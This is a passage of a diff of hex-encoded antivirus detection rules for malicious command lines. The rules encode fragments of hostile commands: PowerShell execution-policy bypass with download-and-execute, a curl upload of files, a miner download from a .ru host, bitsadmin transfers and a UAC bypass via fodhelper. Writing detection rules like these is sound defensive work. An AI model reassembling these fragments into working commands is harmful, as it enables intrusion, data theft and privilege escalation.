0a 00 38 02 5c 00 61 00 75 00 64 00 69 00 74 00 70 00 6f 00 6c 00 2e 00 65 00 78 00 65 00 90 02 08 20 00 2f 00 72 00 65 00 6d 00 6f 00 76 00 65 00 90 02 08 20 00 2f 00 79 00 90 00 0a 00 32 02 20 00 61 00 75 00 64 00 69 00 74 00 70 00 6f 00 6c 00 20 00 90 02 08 20 00 2f 00 72 } //121 - $a_00_3 = {65 00 90 02 08 20 00 2f 00 79 00 90 00 00 00 d7 05 01 00 4a 00 4a 00 0b 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 59 44 21 4d 54 42 00 0a 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 14 00 2d 00 6e 00 6f 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 0a 00 } //111 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 4d 21 4d 54 42 00 64 00 1a 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 63 00 32 00 4e 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 } //21283 + $a_00_1 = {72 00 69 00 6e 00 63 00 69 00 70 00 61 00 6c 00 5d 00 20 00 5b 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 2e 00 50 00 72 00 69 00 6e 00 63 00 69 00 70 00 61 00 6c 00 2e 00 0a 00 48 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 } //115 + $a_00_2 = {69 00 6c 00 74 00 49 00 6e 00 52 00 6f 00 6c 00 65 00 5d 00 3a 00 3a 00 41 00 64 00 6d 00 69 00 6e 00 69 00 73 00 74 00 72 00 61 00 74 00 6f 00 72 00 29 00 0a 00 1a 00 29 00 2e 00 4e 00 61 00 6d 00 65 00 20 00 2d 00 6d 00 61 00 74 00 63 00 68 00 00 00 d7 05 01 00 14 00 14 00 02 00 21 23 53 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 6f } //66 + $a_63_3 = {75 6c 73 65 2e 43 21 64 68 61 00 0a 00 88 03 2f 00 63 00 20 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 2f 00 74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 20 00 68 00 65 00 61 00 6c 00 74 00 68 00 90 2f 02 00 20 00 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 } //28019 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*121+(#a_00_3 & 1)*111) >=10 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115+(#a_00_2 & 1)*66+(#a_63_3 & 1)*28019) >=170 } -rule _InfrastructureShared_26440{ +rule _InfrastructureShared_28100{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 6f 73 6d 69 63 50 75 6c 73 65 2e 43 21 64 68 61 00 0a 00 88 03 2f 00 63 00 20 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 2f 00 74 00 72 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=20 + +} +rule _InfrastructureShared_28101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,4a 00 4a 00 0b 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 59 44 21 4d 54 42 00 0a 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 14 00 2d 00 6e 00 6f 00 70 00 72 00 6f } //21283 $a_00_2 = {0a 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 0a 00 20 00 2d 00 65 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 70 00 6f 00 6c 00 69 00 63 00 79 00 0a 00 0c 00 42 00 79 00 70 00 61 00 73 00 73 00 0a 00 06 00 69 00 77 00 72 00 0a 00 08 00 68 00 74 00 74 00 70 00 01 00 14 00 72 00 61 00 77 00 63 } //108 - $a_00_4 = {6e 00 74 00 01 00 04 00 5c 00 31 00 01 00 06 00 69 00 65 00 78 00 01 00 1a 00 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 00 00 d7 07 01 00 04 00 04 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 64 69 66 79 46 69 6c 65 41 73 73 6f 63 69 61 74 } //116 - $a_2e_5 = {00 01 00 74 02 2f 00 63 00 20 00 90 02 02 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 90 02 20 5c 00 63 00 68 00 61 00 6e 00 67 00 65 00 5f 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 5f 00 66 00 69 00 6c 00 65 00 5f 00 61 00 73 00 73 00 6f 00 63 00 69 00 61 00 74 00 69 00 6f 00 6e } //28521 - $a_00_7 = {90 00 01 00 20 00 2f 00 63 00 20 00 66 00 74 00 79 00 70 00 65 00 20 00 74 00 78 00 74 00 66 00 69 00 6c 00 65 00 03 00 34 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 d7 08 01 00 01 00 01 00 03 00 21 23 53 4c 46 3a 57 69 6e 33 } //97 - $a_41_8 = {42 79 70 61 73 73 45 78 70 52 65 67 2e 45 00 01 00 40 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 66 00 6f 00 64 00 68 00 65 00 6c 00 70 00 65 00 72 00 2e 00 65 00 78 00 65 00 00 00 01 00 } //12082 - $a_00_9 = {57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 43 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 73 00 2e 00 65 00 78 00 65 00 00 00 f6 ff 48 00 38 00 31 00 66 00 33 00 33 00 61 00 } //78 - $a_00_10 = {2d 00 33 00 64 00 31 00 32 00 2d 00 34 00 30 00 38 00 64 00 2d 00 39 00 34 00 33 00 65 00 2d 00 30 00 64 00 37 00 35 00 62 00 33 00 66 00 30 00 36 00 61 00 64 00 31 00 00 00 d7 09 01 00 07 00 07 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 56 42 53 2f 56 4d 4c 61 75 6e 63 68 53 63 72 69 70 74 2e } //100 + $a_00_4 = {6e 00 74 00 01 00 04 00 5c 00 31 00 01 00 06 00 69 00 65 00 78 00 01 00 1a 00 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 00 00 d7 06 01 00 04 00 04 00 09 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 7a 2e 5a 44 54 21 4d 54 42 00 01 00 18 } //116 + $a_00_6 = {20 00 2d 00 58 00 20 00 50 00 4f 00 53 00 54 00 01 00 0c 00 66 00 69 00 6c 00 65 00 3d 00 40 00 01 00 10 00 68 00 6f 00 73 00 74 00 6e 00 61 00 6d 00 65 00 01 00 0e 00 75 00 73 00 65 00 72 00 6b 00 65 00 79 00 9c ff 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 9c ff } //114 + $a_00_7 = {74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 37 00 32 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 32 00 35 00 35 00 2e 00 00 00 d7 07 01 00 04 00 } //20 + $a_00_8 = {21 23 53 } //4 !#S + $a_54_9 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 64 69 66 79 46 69 6c 65 41 73 73 6f 63 69 61 74 69 6f 6e 2e 41 00 01 00 74 02 2f 00 63 00 20 00 90 02 02 3a 00 5c 00 77 00 69 00 6e 00 } //17996 + $a_00_10 = {77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 90 02 20 5c 00 63 00 68 00 61 00 6e 00 67 00 65 00 5f 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 5f 00 66 00 69 00 6c 00 65 00 5f 00 61 00 73 00 73 00 6f 00 63 00 69 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 62 00 61 00 74 00 90 00 01 00 20 00 2f 00 63 00 20 00 66 00 74 00 79 00 70 00 } //100 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*108+(#a_00_4 & 1)*116+(#a_2e_5 & 1)*28521+(#a_00_7 & 1)*97+(#a_41_8 & 1)*12082+(#a_00_9 & 1)*78+(#a_00_10 & 1)*100) >=74 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*108+(#a_00_4 & 1)*116+(#a_00_6 & 1)*114+(#a_00_7 & 1)*20+(#a_00_8 & 1)*4+(#a_54_9 & 1)*17996+(#a_00_10 & 1)*100) >=74 } -rule _InfrastructureShared_26441{ +rule _InfrastructureShared_28102{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 09 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 7a 2e 5a 44 54 21 4d 54 42 00 01 00 18 00 63 00 75 00 72 00 6c 00 20 00 2d 00 58 00 20 00 50 00 4f 00 53 00 54 00 01 00 0c 00 66 00 69 00 6c 00 65 00 3d 00 40 00 01 00 10 00 } //21283 + $a_00_1 = {73 00 74 00 6e 00 61 00 6d 00 65 00 01 00 0e 00 75 00 73 00 65 00 72 00 6b 00 65 00 79 00 9c ff 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 9c ff 14 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 37 } //104 + $a_00_3 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 } //-100 http://192. + $a_00_4 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 32 00 35 00 35 00 2e 00 } //-100 http://255. + $a_07_5 = {01 00 04 00 04 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 64 69 66 79 46 69 6c 65 41 73 73 6f 63 69 61 74 69 6f 6e 2e 41 00 01 00 74 02 2f 00 63 00 20 00 90 02 02 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 90 02 20 5c 00 63 00 68 00 61 00 6e 00 67 00 65 00 5f 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 5f 00 66 00 69 00 6c 00 65 00 5f 00 61 00 73 00 73 00 6f 00 63 00 69 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 62 00 61 00 74 00 90 00 01 00 20 00 2f 00 63 00 20 00 66 00 74 00 79 00 70 00 65 00 20 00 74 00 78 00 74 00 66 00 69 00 6c 00 65 00 03 00 34 00 3a 00 5c 00 } //0 + $a_00_6 = {6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 d7 08 01 00 01 00 01 00 03 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 45 78 70 52 65 67 2e 45 00 01 00 40 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 } //119 + $a_00_8 = {74 00 65 00 6d 00 33 00 32 00 5c 00 66 00 6f 00 64 00 68 00 65 00 6c 00 70 00 65 00 72 00 2e 00 65 00 78 00 65 00 00 00 01 00 4e 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 43 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 73 00 2e 00 65 } //121 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*104+(#a_00_3 & 1)*-100+(#a_00_4 & 1)*-100+(#a_07_5 & 1)*0+(#a_00_6 & 1)*119+(#a_00_8 & 1)*121) >=4 + +} +rule _InfrastructureShared_28103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 03 00 21 " @@ -345775,7 +367336,7 @@ rule _InfrastructureShared_26441{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112) >=4 } -rule _InfrastructureShared_26442{ +rule _InfrastructureShared_28104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " @@ -345786,7 +367347,7 @@ rule _InfrastructureShared_26442{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112) >=1 } -rule _InfrastructureShared_26443{ +rule _InfrastructureShared_28105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 07 00 21 " @@ -345800,72 +367361,206 @@ rule _InfrastructureShared_26443{ ((#a_46_0 & 1)*21283+(#a_02_1 & 1)*32+(#a_00_3 & 1)*105+(#a_00_5 & 1)*47+(#a_00_6 & 1)*108) >=7 } -rule _InfrastructureShared_26444{ +rule _InfrastructureShared_28106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 58 6f 61 73 68 65 6c 6c 2e 41 00 01 00 1c 00 41 00 75 00 74 00 68 00 6f 00 72 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 3a 00 01 00 27 02 26 00 26 00 53 00 45 00 54 00 20 00 90 02 20 3d 00 68 00 74 00 74 00 } //21283 $a_02_1 = {3a 00 2f 00 2f 00 26 00 26 00 90 00 01 00 24 00 20 00 69 00 6e 00 20 00 28 00 30 00 29 00 20 00 64 00 6f 00 20 00 28 00 63 00 75 00 72 00 6c 00 20 00 2d 00 01 00 08 00 20 00 2d 00 48 00 20 00 01 00 08 00 20 00 2d 00 58 00 20 00 01 00 1b 02 66 00 69 00 6e 00 64 00 73 00 74 00 72 00 90 02 08 4e 00 6f 00 6e 00 65 00 90 00 01 00 1a 00 20 00 32 00 3e 00 26 00 31 00 29 00 20 00 26 00 20 00 63 00 75 00 72 00 6c 00 01 00 1e 00 20 00 2d } //112 - $a_00_3 = {61 00 2d 00 62 00 69 00 6e 00 61 00 72 00 79 00 20 00 00 00 d7 0a 01 00 06 00 06 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 42 41 54 2f 43 6f 69 6e 4d 69 6e 65 72 2e 44 53 4b 00 01 00 0c 00 63 00 6d 00 64 00 20 00 2f 00 63 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 06 00 49 00 45 00 58 00 01 00 14 00 4e } //97 - $a_00_5 = {62 00 6a 00 65 00 63 00 74 00 01 00 28 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 69 02 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 90 02 20 68 00 } //45 - $a_00_6 = {70 00 90 02 02 3a 00 2f 00 2f 00 77 00 6d 00 69 00 2e 00 67 00 65 00 61 00 6f 00 68 00 67 00 6f 00 65 00 68 00 61 00 67 00 75 00 67 00 65 00 68 00 2e 00 72 00 75 00 3a 00 38 00 30 00 38 00 30 00 2f 00 90 02 0f 2e 00 74 00 78 00 74 00 90 00 00 00 d7 0c 01 00 1f 00 1f 00 0a 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c } //116 - $a_77_7 = {2e 53 43 00 0a 00 0a 80 01 70 6f 77 65 72 73 68 65 6c 6c 0a 00 04 80 01 68 74 74 70 0a 00 0d 80 01 6e 65 74 2d 77 65 62 63 6c 69 65 6e 74 14 00 2f 80 01 6d 69 63 72 6f 73 6f 66 74 2e 70 6f 77 65 72 73 68 65 6c 6c 2e 63 6f 6d 6d 61 6e 64 73 2e 77 65 62 72 65 71 75 65 73 74 73 65 73 73 69 6f 6e 0a 00 11 80 01 69 6e 76 6f 6b 65 2d 77 } //17516 + $a_00_3 = {61 00 2d 00 62 00 69 00 6e 00 61 00 72 00 79 00 20 00 00 00 d7 09 01 00 71 00 71 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 6d 65 48 75 67 2e 44 42 21 4d 54 42 00 64 00 28 00 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 69 00 6e 00 66 00 6f 00 5c 00 0a 00 1a 00 2f 00 53 00 } //97 + $a_00_4 = {49 00 20 00 26 00 20 00 78 00 63 00 6f 00 70 00 79 00 01 00 2f 02 25 00 75 00 73 00 65 00 72 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 25 } //32 + $a_00_7 = {6f 00 63 00 2a 00 90 00 01 00 2d 02 25 00 75 00 73 00 65 00 72 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 25 00 5c 00 90 02 0f 5c 00 2a 00 2e 00 70 00 64 00 66 00 90 00 01 00 2d 02 25 00 75 00 73 00 65 00 72 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 25 00 5c 00 90 02 0f 5c 00 2a 00 2e 00 74 00 } //46 condition: - ((#a_46_0 & 1)*21283+(#a_02_1 & 1)*112+(#a_00_3 & 1)*97+(#a_00_5 & 1)*45+(#a_00_6 & 1)*116+(#a_77_7 & 1)*17516) >=8 + ((#a_46_0 & 1)*21283+(#a_02_1 & 1)*112+(#a_00_3 & 1)*97+(#a_00_4 & 1)*32+(#a_00_7 & 1)*46) >=8 } -rule _InfrastructureShared_26445{ +rule _InfrastructureShared_28107{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,71 00 71 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 6d 65 48 75 67 2e 44 42 21 4d 54 42 00 64 00 28 00 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 69 00 6e 00 66 00 6f 00 5c 00 0a 00 1a 00 } //21283 + $a_00_1 = {20 00 2f 00 49 00 20 00 26 00 20 00 78 00 63 00 6f 00 70 00 79 00 01 00 2f 02 25 00 75 00 73 00 65 00 72 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 25 00 5c 00 90 02 0f 5c 00 2a 00 2e 00 64 00 6f 00 63 00 2a 00 90 00 01 00 2d 02 25 00 75 00 73 00 } //47 + $a_00_2 = {70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 25 00 5c 00 90 02 0f 5c 00 2a 00 2e 00 70 00 64 00 66 00 90 00 01 00 2d 02 25 00 75 00 73 00 65 00 72 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 25 00 5c 00 90 02 0f 5c 00 2a 00 2e 00 74 00 78 00 74 00 90 00 00 00 d7 09 01 00 74 00 74 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //101 + $a_69_3 = {6b 46 69 78 2e 44 46 57 21 4d 54 42 00 64 00 1d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 50 24 00 90 00 0a 00 23 02 24 00 76 00 65 00 72 00 73 00 69 00 6f 00 6e 00 3d 00 27 00 90 02 06 5f 00 61 00 69 00 27 00 3b 00 90 00 0a 00 17 02 24 00 76 00 3d 00 27 00 90 02 06 5f 00 61 00 69 00 27 00 } //17199 + $a_00_4 = {05 00 32 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 01 00 26 00 7c 00 20 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 01 00 08 00 7c 00 69 00 65 00 78 00 01 00 0a 00 7c 00 20 00 69 00 65 00 78 00 00 00 d7 0a 01 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a } //59 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*47+(#a_00_2 & 1)*101+(#a_69_3 & 1)*17199+(#a_00_4 & 1)*59) >=113 + +} +rule _InfrastructureShared_28108{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,74 00 74 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 57 21 4d 54 42 00 64 00 1d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 50 24 00 90 00 0a 00 23 02 24 00 76 00 65 00 72 00 73 } //21283 + $a_00_2 = {27 00 90 02 06 5f 00 61 00 69 00 27 00 3b 00 90 00 0a 00 17 02 24 00 76 00 3d 00 27 00 90 02 06 5f 00 61 00 69 00 27 00 3b 00 90 00 05 00 32 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 } //110 + $a_00_4 = {72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 01 00 26 00 7c 00 20 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 01 00 08 00 7c 00 69 00 65 00 78 00 01 00 0a 00 7c 00 20 00 69 00 65 00 78 00 00 } //80 + $a_01_5 = {00 03 00 03 00 03 00 21 23 53 } //-10496 ̀̀̀℀匣 + $a_54_6 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 54 21 4d 54 42 00 01 00 9a 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 54 00 65 00 78 00 74 00 2e 00 45 00 } //17996 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_4 & 1)*80+(#a_01_5 & 1)*-10496+(#a_54_6 & 1)*17996) >=116 + +} +rule _InfrastructureShared_28109{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 54 21 4d 54 42 00 01 00 9a 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 } //21283 + $a_00_1 = {55 00 6e 00 69 00 63 00 6f 00 64 00 65 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 6e 00 } //58 Unicode.GetString([System.Con + $a_00_2 = {72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 01 00 2c 00 29 00 29 00 3b 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 01 00 0c 00 68 00 69 } //118 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*58+(#a_00_2 & 1)*118) >=3 + +} +rule _InfrastructureShared_28110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 42 41 54 2f 43 6f 69 6e 4d 69 6e 65 72 2e 44 53 4b 00 01 00 0c 00 63 00 6d 00 64 00 20 00 2f 00 63 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 06 00 } //21539 $a_00_1 = {58 00 01 00 14 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 01 00 28 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 } //73 - $a_00_3 = {77 00 6e 00 6c 00 6f 00 61 00 64 00 90 02 20 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 77 00 6d 00 69 00 2e 00 67 00 65 00 61 00 6f 00 68 00 67 00 6f 00 65 00 68 00 61 00 67 00 75 00 67 00 65 00 68 00 2e 00 72 00 75 00 3a 00 38 00 30 00 38 00 30 00 2f 00 90 02 0f 2e 00 74 00 78 00 74 00 90 00 00 00 d7 0c 01 00 1f 00 1f 00 } //68 - $a_23_4 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6f 77 6e 2e 53 43 00 0a 00 0a } //10 - $a_6f_5 = {65 72 73 68 65 6c 6c 0a 00 04 80 01 68 74 74 70 0a 00 0d 80 01 6e 65 74 2d 77 65 62 63 6c 69 65 6e 74 14 00 2f 80 01 6d 69 63 72 6f 73 6f 66 74 2e 70 6f 77 65 72 73 68 65 6c 6c 2e 63 6f 6d 6d 61 6e 64 73 2e 77 65 62 72 65 71 75 65 73 74 73 65 73 73 69 6f 6e 0a 00 11 80 01 69 6e 76 6f 6b 65 2d 77 65 62 72 65 71 75 65 73 74 01 00 0e 80 } //384 + $a_00_3 = {77 00 6e 00 6c 00 6f 00 61 00 64 00 90 02 20 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 77 00 6d 00 69 00 2e 00 67 00 65 00 61 00 6f 00 68 00 67 00 6f 00 65 00 68 00 61 00 67 00 75 00 67 00 65 00 68 00 2e 00 72 00 75 00 3a 00 38 00 30 00 38 00 30 00 2f 00 90 02 0f 2e 00 74 00 78 00 74 00 90 00 00 00 d7 0a 01 00 0a 00 0a 00 } //68 + $a_23_4 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 65 72 42 79 70 61 73 73 2e 44 43 21 4d 54 } //10 LF:Trojan:Win32/PowerBypass.DC!MT + $a_00_5 = {14 } //66 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*73+(#a_00_3 & 1)*68+(#a_23_4 & 1)*10+(#a_6f_5 & 1)*384) >=6 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*73+(#a_00_3 & 1)*68+(#a_23_4 & 1)*10+(#a_00_5 & 1)*66) >=6 } -rule _InfrastructureShared_26446{ +rule _InfrastructureShared_28111{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 65 72 42 79 70 61 73 73 2e 44 43 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 14 00 5b 00 54 00 79 00 70 00 65 00 5d 00 3a 00 3a 00 } //21283 + $a_00_1 = {01 00 18 00 3d 00 5b 00 62 00 79 00 74 00 65 00 5b 00 5d 00 5d 00 28 00 28 00 24 00 01 00 2a 00 53 00 74 00 } //40 + $a_00_2 = {74 00 2d 00 53 00 6c 00 65 00 65 00 70 00 2d 00 53 00 65 00 63 00 6f 00 6e 00 64 00 73 00 28 00 24 00 01 00 0a 00 66 00 6f 00 72 00 28 00 24 00 01 00 08 00 69 00 66 00 28 00 24 00 01 00 12 00 3d 00 28 00 5b 00 69 00 6e 00 74 00 5d 00 28 00 24 00 01 00 0e 00 77 00 68 00 69 00 6c 00 65 00 28 00 24 00 01 00 0a 00 74 00 72 00 79 00 7b 00 24 00 } //97 + 